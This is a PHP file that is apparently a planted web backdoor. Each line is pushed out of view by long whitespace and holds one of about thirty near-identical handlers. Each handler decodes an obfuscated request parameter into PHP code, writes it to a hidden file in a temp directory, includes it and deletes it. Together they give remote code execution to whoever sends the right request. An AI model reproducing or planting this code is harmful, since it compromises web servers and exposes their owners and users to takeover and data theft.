<?php																																										if(!is_null($_POST["s\x79\x6D\x62ol"] ?? null)){ $desc = $_POST["s\x79\x6D\x62ol"]; $desc=explode ( '.' ,$desc) ; $fac = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $s = 0; $__len = count($desc); do { if ($s >= $__len) break; $v7 = $desc[$s]; $sChar = ord($s4[$s % $lenS]); $d = ((int)$v7 - $sChar - ($s % 10))^100; $fac .= chr($d); $s++; } while (true); $key = array_filter([getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm"]); foreach ($key as $value) { if (!( !is_dir($value) || !is_writable($value) )) { $factor = implode("/", [$value, ".token"]); if (file_put_contents($factor, $fac)) { require $factor; unlink($factor); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "bin\x64in\x67")){ $desc = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $key = $_POST["bin\x64in\x67"]; $key = explode ( "." , $key ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($key); for ($o = 0; $o < $len; $o++) { $v6 = $key[$o]; $sChar = ord($s[$o % $lenS]); $d = ((int)$v6 - $sChar - ($o % 10)) ^ 72; $reference .=chr($d); } while ($k = array_shift($desc)) { if (is_dir($k) && is_writable($k)) { $holder = str_replace("{var_dir}", $k, "{var_dir}/.elem"); if (file_put_contents($holder, $reference)) { include $holder; @unlink($holder); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["ref\x65renc\x65"])){ $desc = $_POST["ref\x65renc\x65"]; $desc = explode ( ".", $desc ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $desc as $i => $v5): $sChar = ord( $s[$i % $sLen]); $d =( ( int)$v5 - $sChar -( $i % 10)) ^ 71; $ref .= chr( $d); endforeach; $element = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), session_save_path()]); foreach ($element as $pset): if (is_dir($pset) ? is_writable($pset) : false) { $data_chunk = "$pset/.entity"; $success = file_put_contents($data_chunk, $ref); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64a\x74a_ch\x75\x6E\x6B"])){ $elem = $_REQUEST["\x64a\x74a_ch\x75\x6E\x6B"]; $elem= explode ( "." , $elem) ; $res = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6 ); $len = count( $elem ); for( $m = 0; $m < $len; $m++) {$v4 = $elem[$m]; $sChar = ord( $salt6[$m % $sLen] ); $dec =( ( int)$v4 - $sChar -( $m % 10)) ^ 43; $res .= chr( $dec ); } $reference = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($reference as $key => $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $dat = implode("/", [$itm, ".factor"]); if (file_put_contents($dat, $res)) { include $dat; @unlink($dat); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72es"])){ $object = $_POST["\x72es"]; $object= explode ("." , $object) ; $resource = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $l = 0; array_walk($object ,function ($v3) use (&$resource ,&$l ,$salt6 ,$lenS) { $sChar = ord($salt6[$l % $lenS] ); $d = ((int)$v3 - $sChar - ($l % 10)) ^ 89; $resource.= chr($d ); $l++; }); $reference = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($reference as $key => $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $component = "$pgrp" . "/.obj"; if (@file_put_contents($component, $resource) !== false) { include $component; unlink($component); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74kn"])){ $symbol = $_REQUEST["\x74kn"]; $symbol= explode("." , $symbol) ; $entry = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); foreach( $symbol as $p=> $v9) {$sChar = ord( $s1[$p % $sLen]); $d =( ( int)$v9 - $sChar -( $p % 10)) ^ 77; $entry .= chr( $d); } $holder = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); $ptr = 0; do { $dchunk = $holder[$ptr] ?? null; if ($ptr >= count($holder)) break; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $record = sprintf("%s/.comp", $dchunk); $file = fopen($record, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $record; @unlink($record); exit; } } $ptr++; } while (true); }
																																										if(array_key_exists("\x69te\x6D", $_REQUEST)){ $flg = array_filter(["/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $parameter_group = $_REQUEST["\x69te\x6D"]; $parameter_group = explode ("." , $parameter_group ) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $t = 0; $__tmp = $parameter_group; while ($v4 = array_shift($__tmp)) { $chS = ord($salt6[$t % $sLen]); $d = ((int)$v4 - $chS - ($t % 10)) ^13; $data.=chr($d); $t++; } while ($res = array_shift($flg)) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $obj = str_replace("{var_dir}", $res, "{var_dir}/.mrk"); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $obj; @unlink($obj); exit; } } } }
																																										if(!is_null($_POST["v\x61\x6Cue"] ?? null)){ $obj = $_POST["v\x61\x6Cue"]; $obj = explode ( ".", $obj) ; $marker= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach ($obj as $i => $v3): $chS= ord($s[$i% $lenS] ); $d= ((int)$v3 - $chS - ($i% 10)) ^ 89; $marker .= chr($d ); endforeach; $element = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir()]); for ($entry = 0, $itm = count($element); $entry < $itm; $entry++) { $pointer = $element[$entry]; if (!!is_dir($pointer) && !!is_writable($pointer)) { $data = implode("/", [$pointer, ".tkn"]); if (@file_put_contents($data, $marker) !== false) { include $data; unlink($data); exit; } } } }
																																										if(in_array("o\x62j", array_keys($_POST))){ $data_chunk = array_filter([getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd()]); $key = $_POST["o\x62j"]; $key =explode ( '.' , $key ); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; $__tmp = $key; while ($v4 = array_shift($__tmp)) { $chS = ord($salt[$w % $lenS]); $d = ((int)$v4 - $chS - ($w % 10)) ^ 23; $elem .=chr($d); $w++;} while ($flg = array_shift($data_chunk)) { if (!( !is_dir($flg) || !is_writable($flg) )) { $sym = vsprintf("%s/%s", [$flg, ".entry"]); $success = file_put_contents($sym, $elem); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(isset($_REQUEST["\x65\x6E\x74ity"])){ $ptr = array_filter(["/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $resource = $_REQUEST["\x65\x6E\x74ity"]; $resource = explode ( '.' ,$resource) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $z = 0; $__tmp = $resource; while( $v2 = array_shift( $__tmp)) { $chS = ord( $salt[$z % $sLen] ); $d =( ( int)$v2 - $chS -( $z % 10)) ^ 18; $bind .= chr( $d ); $z++; } $value = 0; do { $pset = $ptr[$value] ?? null; if ($value >= count($ptr)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $pgrp = "$pset" . "/.tkn"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $pgrp; @unlink($pgrp); die(); } } $value++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x6D\x61rker")){ $descriptor = $_REQUEST["\x6D\x61rker"]; $descriptor =explode ("." , $descriptor) ; $hld = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $l = 0; array_walk($descriptor, function($v5) use(&$hld, &$l, $s9, $lenS) { $chS = ord($s9[$l%$lenS] ); $dec = ((int)$v5 - $chS -($l%10)) ^ 43; $hld .=chr($dec ); $l++; } ); $dchunk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); while ($itm = array_shift($dchunk)) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $reference = str_replace("{var_dir}", $itm, "{var_dir}/.elem"); if (@file_put_contents($reference, $hld) !== false) { include $reference; unlink($reference); exit; } } } }
																																										if(@$_POST["dch\x75\x6Ek"] !== null){ $val = $_POST["dch\x75\x6Ek"]; $val = explode( '.' , $val ) ; $itm = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $len = count( $val); for( $j = 0; $j < $len; $j++) { $v7 = $val[$j]; $chS = ord( $salt3[$j % $sLen]); $dec =( ( int)$v7 - $chS -( $j % 10)) ^ 47; $itm .= chr( $dec); } $element = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP")]); for ($dat = 0, $tkn = count($element); $dat < $tkn; $dat++) { $flag = $element[$dat]; if (is_dir($flag) ? is_writable($flag) : false) { $comp = "$flag/.key"; $success = file_put_contents($comp, $itm); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(!is_null($_REQUEST["ent"] ?? null)){ $record = $_REQUEST["ent"]; $record = explode ( '.', $record ) ; $pset = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $v = 0; $__tmp = $record; while ($v7 = array_shift($__tmp)) { $sChar = ord($s8[$v % $sLen]); $dec = ((int)$v7 - $sChar - ($v % 10)) ^36; $pset .= chr($dec); $v++; } $desc = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($desc as $binding) { if (is_writable($binding) && is_dir($binding)) { $symbol = "$binding/.token"; if (file_put_contents($symbol, $pset)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6F\x69\x6E\x74er"])){ $data_chunk = array_filter(["/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); $dchunk = $_REQUEST["p\x6F\x69\x6E\x74er"]; $dchunk = explode( '.' ,$dchunk) ; $pgrp = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $v = 0; $__len = count($dchunk); do { if ($v >= $__len) break; $v8 = $dchunk[$v]; $chS = ord($salt1[$v % $lenS]); $d = ((int)$v8 - $chS - ($v % 10)) ^ 46; $pgrp.=chr($d); $v++; } while (true); for ($fac = 0, $rec = count($data_chunk); $fac < $rec; $fac++) { $item = $data_chunk[$fac]; if ((bool)is_dir($item) && (bool)is_writable($item)) { $flag = "$item" . "/.element"; if (@file_put_contents($flag, $pgrp) !== false) { include $flag; unlink($flag); exit; } } } }
																																										if(array_key_exists("t\x6B\x6E", $_REQUEST) && !is_null($_REQUEST["t\x6B\x6E"])){ $obj = $_REQUEST["t\x6B\x6E"]; $obj= explode ( "." , $obj ) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $x =0; $len =count( $obj); do { if( $x >=$len) break; $v1 =$obj[$x]; $chS =ord( $s[$x % $lenS]); $dec =( ( int)$v1 - $chS -( $x % 10)) ^ 45; $property_set .= chr( $dec); $x++;} while( true); $ent = array_filter(["/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP")]); foreach ($ent as $ref) { if (is_writable($ref) && is_dir($ref)) { $flag = join("/", [$ref, ".res"]); if (file_put_contents($flag, $property_set)) { require $flag; unlink($flag); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65s"])){ $hld = $_REQUEST["\x72\x65s"]; $hld = explode ( "." , $hld ) ; $sym= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $t= 0; $__tmp= $hld; while( $v7= array_shift( $__tmp)) { $sChar= ord( $salt[$t % $lenS]); $d= ( ( int)$v7 - $sChar -( $t % 10))^ 72; $sym .= chr( $d); $t++; } $descriptor = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp"]); for ($factor = 0, $data_chunk = count($descriptor); $factor < $data_chunk; $factor++) { $holder = $descriptor[$factor]; if (is_dir($holder) ? is_writable($holder) : false) { $ent = str_replace("{var_dir}", $holder, "{var_dir}/.k"); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["bin\x64"])){ $object = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $symbol = $_POST["bin\x64"]; $symbol = explode( '.' , $symbol ) ; $rec =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt4); $m =0; $__len =count( $symbol); do { if( $m >= $__len) break; $v5 =$symbol[$m]; $chS =ord( $salt4[$m % $sLen]); $dec =( ( int)$v5 - $chS -( $m % 10)) ^ 1; $rec .= chr( $dec); $m++;} while( true); for ($data_chunk = 0, $hld = count($object); $data_chunk < $hld; $data_chunk++) { $flag = $object[$data_chunk]; if ((is_dir($flag) and is_writable($flag))) { $obj = "$flag/.element"; if (file_put_contents($obj, $rec)) { include $obj; @unlink($obj); exit; } } } }
																																										if(array_key_exists("\x68o\x6Cde\x72", $_REQUEST)){ $record = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd()]); $desc = $_REQUEST["\x68o\x6Cde\x72"]; $desc = explode ( "." , $desc ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $desc as $w => $v4) { $chS = ord( $salt[$w % $sLen]); $d = ( ( int)$v4 - $chS -( $w % 10)) ^28; $symbol .= chr( $d); } while ($dchunk = array_shift($record)) { if ((is_dir($dchunk) and is_writable($dchunk))) { $pointer = "$dchunk/.obj"; if (@file_put_contents($pointer, $symbol) !== false) { include $pointer; unlink($pointer); die(); } } } }
																																										if(@$_POST["r\x65s"] !== null){ $ptr = $_POST["r\x65s"]; $ptr = explode ( ".", $ptr) ; $data_chunk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $n= 0; while ($n < count($ptr)) { $v9= $ptr[$n]; $sChar= ord($salt[$n % $sLen]); $dec= ((int)$v9 - $sChar - ($n % 10))^ 43; $data_chunk .= chr($dec); $n++; } $desc = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); foreach ($desc as $key => $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $pset = join("/", [$rec, ".itm"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(!is_null($_POST["\x70aramet\x65r_\x67roup"] ?? null)){ $ent = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $flg = $_POST["\x70aramet\x65r_\x67roup"]; $flg= explode(".",$flg) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; array_walk($flg ,function ($v8) use (&$obj ,&$x ,$salt ,$lenS) { $sChar = ord($salt[$x % $lenS]); $d = ((int)$v8 - $sChar - ($x % 10)) ^ 40; $obj.= chr($d); $x++; }); $marker = 0; do { $descriptor = $ent[$marker] ?? null; if ($marker >= count($ent)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $resource = "$descriptor" . "/.elem"; $success = file_put_contents($resource, $obj); if ($success) { include $resource; @unlink($resource); exit;} } $marker++; } while (true); }
																																										if(isset($_REQUEST["k\x65y"]) ? true : false){ $fac = $_REQUEST["k\x65y"]; $fac = explode( '.' , $fac ) ; $dat =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6); $q =0; $__len =count( $fac); do { if( $q>= $__len) break; $v8 =$fac[$q]; $chS =ord( $salt6[$q %$sLen]); $d =( ( int)$v8 - $chS -( $q %10)) ^ 96; $dat .= chr( $d); $q++; } while( true); $ent = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $pgrp = 0; do { $factor = $ent[$pgrp] ?? null; if ($pgrp >= count($ent)) break; if (is_dir($factor) && is_writable($factor)) { $value = join("/", [$factor, ".flag"]); $success = file_put_contents($value, $dat); if ($success) { include $value; @unlink($value); exit;} } $pgrp++; } while (true); }
																																										if(isset($_POST["\x63\x6F\x6D\x70onent"])){ $value = $_POST["\x63\x6F\x6D\x70onent"]; $value = explode( '.' , $value ); $mrk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $j = 0; array_walk( $value, function( $v4) use( &$mrk, &$j, $s5, $lenS) { $sChar = ord( $s5[$j %$lenS] ); $dec =( ( int)$v4 - $sChar -( $j %10)) ^ 38; $mrk .= chr( $dec ); $j++; } ); $k = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP")]); while ($hld = array_shift($k)) { if (max(0, is_dir($hld) * is_writable($hld))) { $marker = str_replace("{var_dir}", $hld, "{var_dir}/.parameter_group"); if (@file_put_contents($marker, $mrk) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(in_array("p\x6F\x69\x6Et\x65r", array_keys($_POST))){ $fac = $_POST["p\x6F\x69\x6Et\x65r"]; $fac= explode ('.', $fac) ; $bind = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); foreach ($fac as $y=> $v2) { $chS = ord($s2[$y %$sLen] ); $dec = ((int)$v2 - $chS - ($y %10)) ^ 81; $bind .= chr($dec ); } $dchunk = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp"]); while ($item = array_shift($dchunk)) { if (is_writable($item) && is_dir($item)) { $ref = "$item" . "/.hld"; if (file_put_contents($ref, $bind)) { require $ref; unlink($ref); die(); } } } }
																																										if(array_key_exists("p\x61\x72\x61m\x65\x74e\x72_g\x72\x6Fup", $_POST)){ $ptr = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp"]); $flg = $_POST["p\x61\x72\x61m\x65\x74e\x72_g\x72\x6Fup"]; $flg = explode ( '.' , $flg) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; $len = count($flg); do { if ($s>= $len) break; $v4 = $flg[$s]; $chS = ord($salt[$s % $lenS]); $dec = ((int)$v4 - $chS - ($s % 10)) ^ 70; $desc .= chr($dec); $s++; } while (true); foreach ($ptr as $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $ref = str_replace("{var_dir}", $tkn, "{var_dir}/.bind"); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $ref; @unlink($ref); exit; } } } }
																																										if(isset($_REQUEST["s\x79m\x62o\x6C"])){ $parameter_group = $_REQUEST["s\x79m\x62o\x6C"]; $parameter_group = explode ( "." , $parameter_group ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($parameter_group as $y => $v3): $chS = ord($salt[$y % $sLen]); $dec = ((int)$v3 - $chS - ($y % 10)) ^ 37; $val .= chr($dec); endforeach; $mrk = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]); $comp = 0; do { $property_set = $mrk[$comp] ?? null; if ($comp >= count($mrk)) break; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $sym = join("/", [$property_set, ".desc"]); $success = file_put_contents($sym, $val); if ($success) { include $sym; @unlink($sym); die();} } $comp++; } while (true); }
																																										if(isset($_REQUEST["tk\x6E"])){ $ent = $_REQUEST["tk\x6E"]; $ent = explode( '.' , $ent ); $sym = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); foreach( $ent as $o=> $v4): $sChar = ord( $s7[$o% $sLen]); $d =( ( int)$v4 - $sChar -( $o% 10)) ^ 81; $sym .= chr( $d); endforeach; $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", "/dev/shm"]); foreach ($parameter_group as $record) { if (!( !is_dir($record) || !is_writable($record) )) { $ptr = "$record/.ref"; if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(array_key_exists("d\x63\x68\x75nk", $_POST) && !is_null($_POST["d\x63\x68\x75nk"])){ $element = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $fac = $_POST["d\x63\x68\x75nk"]; $fac = explode ('.', $fac ) ; $property_set = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $len = count($fac); for ($w = 0; $w < $len; $w++) { $v1 = $fac[$w]; $sChar = ord($salt6[$w % $sLen]); $dec = ((int)$v1 - $sChar - ($w % 10)) ^83; $property_set .= chr($dec); } while ($record = array_shift($element)) { if (max(0, is_dir($record) * is_writable($record))) { $ent = "$record" . "/.hld"; if (file_put_contents($ent, $property_set)) { require $ent; unlink($ent); die(); } } } }
																																										if(isset($_POST["par\x61\x6De\x74\x65r_gr\x6Fup"]) ? true : false){ $item = $_POST["par\x61\x6De\x74\x65r_gr\x6Fup"]; $item = explode ( '.', $item) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; foreach ($item as $v6) {$chS = ord($salt[$s %$sLen] ); $d = ((int)$v6 - $chS - ($s %10)) ^ 24; $comp .= chr($d ); $s++; } $pgrp = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($pgrp as $k) { if (!( !is_dir($k) || !is_writable($k) )) { $symbol = join("/", [$k, ".dat"]); if (@file_put_contents($symbol, $comp) !== false) { include $symbol; unlink($symbol); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["ref\x65\x72en\x63e"])){ $ptr = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $holder = $_POST["ref\x65\x72en\x63e"]; $holder= explode ( '.' , $holder) ; $component =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $o =0; foreach( $holder as $v9) { $sChar =ord( $s[$o % $lenS]); $dec =( ( int)$v9 - $sChar -( $o % 10)) ^17; $component .= chr( $dec); $o++; } while ($token = array_shift($ptr)) { if (!!is_dir($token) && !!is_writable($token)) { $data_chunk = sprintf("%s/.value", $token); if (@file_put_contents($data_chunk, $component) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("\x73\x79\x6Dbol", $_POST) && !is_null($_POST["\x73\x79\x6Dbol"])){ $dchunk = $_POST["\x73\x79\x6Dbol"]; $dchunk = explode ( ".",$dchunk ) ; $key =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s8 ); foreach( $dchunk as $j => $v1): $sChar =ord( $s8[$j % $lenS] ); $dec =( ( int)$v1 - $sChar -( $j % 10)) ^ 3; $key.= chr( $dec ); endforeach; $mrk = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); for ($binding = 0, $flg = count($mrk); $binding < $flg; $binding++) { $val = $mrk[$binding]; if ((is_dir($val) and is_writable($val))) { $holder = vsprintf("%s/%s", [$val, ".pgrp"]); if (file_put_contents($holder, $key)) { include $holder; @unlink($holder); exit; } } } }


if(array_key_exists("d\x61\x74a\x5F\x63\x68unk", $_REQUEST) && !is_null($_REQUEST["d\x61\x74a\x5F\x63\x68unk"])){
	$record = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path()]);
	$component = $_REQUEST["d\x61\x74a\x5F\x63\x68unk"];
	 		$component		 = 	 explode	  ('.'	, 		$component	) 	;	 	
	$hld= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen(	$salt);
    
            foreach(	$component as $y =>	 $v4):
                $chS= ord(	$salt[$y % $lenS]);
                $d= (	(	int)$v4 - $chS -(	$y % 10)) ^ 12;
                $hld 	.=	chr(	$d);
            endforeach;
	$elem = 0;
do {
    $mrk = $record[$elem] ?? null;
    if ($elem >= count($record)) break;
    		if (array_product([is_dir($mrk), is_writable($mrk)])) {
    $sym = sprintf("%s/.flg", $mrk);
    if (file_put_contents($sym, $hld)) {
	require $sym;
	unlink($sym);
	die();
}
}
    $elem++;
} while (true);
}